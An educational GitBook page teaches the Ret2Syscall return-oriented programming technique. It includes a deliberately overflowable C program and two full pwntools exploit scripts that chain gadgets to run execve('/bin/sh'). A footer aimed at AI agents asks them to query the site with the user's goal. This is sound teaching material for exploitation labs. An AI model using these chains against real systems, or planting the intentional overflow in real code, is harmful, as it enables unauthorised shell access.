> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/09.-ret2syscall.md).

# 0x0D — Return to Syscall (Ret2Syscall)

## Overview

**Ret2Syscall** is a ROP technique where instead of calling a libc function (like `system()`), you invoke a **raw Linux system call** directly using the `syscall` instruction. This is useful when:

* No useful libc functions are available or linked
* The binary is statically linked (no dynamic libc)
* You want to avoid common detections tied to `system()` calls

***

## Linux System Calls Primer

A syscall is a request from user space to the kernel. On x86-64 Linux:

| Register | Role           |
| -------- | -------------- |
| `rax`    | Syscall number |
| `rdi`    | 1st argument   |
| `rsi`    | 2nd argument   |
| `rdx`    | 3rd argument   |
| `r10`    | 4th argument   |
| `r8`     | 5th argument   |
| `r9`     | 6th argument   |

Execute with: `syscall` instruction.

### Key Syscall Numbers (x86-64)

| Number | Name        | Signature                    |
| ------ | ----------- | ---------------------------- |
| 0      | read        | read(fd, buf, count)         |
| 1      | write       | write(fd, buf, count)        |
| 2      | open        | open(path, flags)            |
| 59     | execve      | execve(filename, argv, envp) |
| 60     | exit        | exit(status)                 |
| 231    | exit\_group | exit\_group(status)          |

***

## Goal: `execve("/bin/sh", NULL, NULL)`

To spawn a shell:

```
rax = 59       (execve syscall number)
rdi = &"/bin/sh"
rsi = 0        (NULL)
rdx = 0        (NULL)
syscall
```

***

## Required Gadgets

You need ROP gadgets to set each register:

```bash
ROPgadget --binary ./vuln | grep "pop rax"
ROPgadget --binary ./vuln | grep "pop rdi"
ROPgadget --binary ./vuln | grep "pop rsi"
ROPgadget --binary ./vuln | grep "pop rdx"
ROPgadget --binary ./vuln | grep "syscall"
```

***

## Vulnerable Program (`vuln.c`)

```c
#include <unistd.h>

void vuln() {
    char buf[64];
    read(0, buf, 256);
}

int main() {
    vuln();
    return 0;
}
```

Compile as **statically linked** (no libc functions to ret2):

```bash
gcc -o vuln vuln.c -static -fno-stack-protector -no-pie
checksec --file=./vuln
# NX: enabled, statically linked, no canary
```

***

## Finding the `/bin/sh` String

The `/bin/sh` string may not exist in a statically compiled binary. Options:

1. **Find it if it exists**:

```bash
strings -a -t x ./vuln | grep "/bin/sh"
# output: 6b3d10 /bin/sh
```

2. **Write it yourself** using `read` + `bss`:

```python
# Write "/bin/sh\x00" to the .bss section (writable, fixed address)
bss_addr = elf.bss()
```

***

## Strategy A: Binary Already Has `/bin/sh`

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

offset = 72

# Gadgets (find with ROPgadget)
pop_rax = 0x4163f4   # pop rax ; ret
pop_rdi = 0x401696   # pop rdi ; ret
pop_rsi = 0x40f1ee   # pop rsi ; ret
pop_rdx = 0x401602   # pop rdx ; ret
syscall  = 0x401400  # syscall ; ret

binsh = next(elf.search(b'/bin/sh\x00'))

payload  = b'A' * offset
payload += p64(pop_rax) + p64(59)       # rax = execve
payload += p64(pop_rdi) + p64(binsh)    # rdi = "/bin/sh"
payload += p64(pop_rsi) + p64(0)        # rsi = NULL
payload += p64(pop_rdx) + p64(0)        # rdx = NULL
payload += p64(syscall)

p.send(payload)
p.interactive()
```

***

## Strategy B: Write `/bin/sh` to BSS Then Execve

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

offset   = 72
bss_addr = elf.bss()   # writable section

# Gadgets
pop_rax = 0x4163f4
pop_rdi = 0x401696
pop_rsi = 0x40f1ee
pop_rdx = 0x401602
syscall  = 0x401400

### Step 1: Write "/bin/sh\x00" to BSS using read(0, bss, 8) ###
# rax=0 (read), rdi=0 (stdin), rsi=bss, rdx=8
payload  = b'A' * offset
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rdx) + p64(8)
payload += p64(syscall)

### Step 2: execve(bss, 0, 0) ###
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)

p.send(payload)
p.send(b'/bin/sh\x00')   # this gets written to BSS by the read syscall
p.interactive()
```

***

## Syscall Reference Card

```
SYS_read    = 0   → read(0, buf, n)    – read from stdin
SYS_write   = 1   → write(1, buf, n)   – write to stdout
SYS_execve  = 59  → execve("/bin/sh", NULL, NULL)
SYS_exit    = 60  → exit(0)
```

***

## Verifying Gadgets in GDB

```
gdb ./vuln
> x/2i 0x4163f4     # verify pop rax ; ret
> x/2i 0x401400     # verify syscall
```

***

## Key Takeaways

* Ret2Syscall bypasses libc entirely — useful for static binaries
* You must control: `rax` (syscall #), `rdi`, `rsi`, `rdx`
* If `/bin/sh` isn't in the binary, write it to `.bss` using a `read` syscall first
* Statically linked binaries have many more gadgets to work with
* Check `syscall` vs `int 0x80` — the latter is x86 (32-bit)

***

## Troubleshooting

| Problem                 | Fix                                     |
| ----------------------- | --------------------------------------- |
| No `pop rax` gadget     | Try `xor rax, rax; inc rax` chains      |
| No `/bin/sh` in binary  | Write it to BSS with read syscall       |
| `Bad address` crash     | Verify bss\_addr is correctly aligned   |
| Shell exits immediately | Add `p.recv()` before `p.interactive()` |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/09.-ret2syscall.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
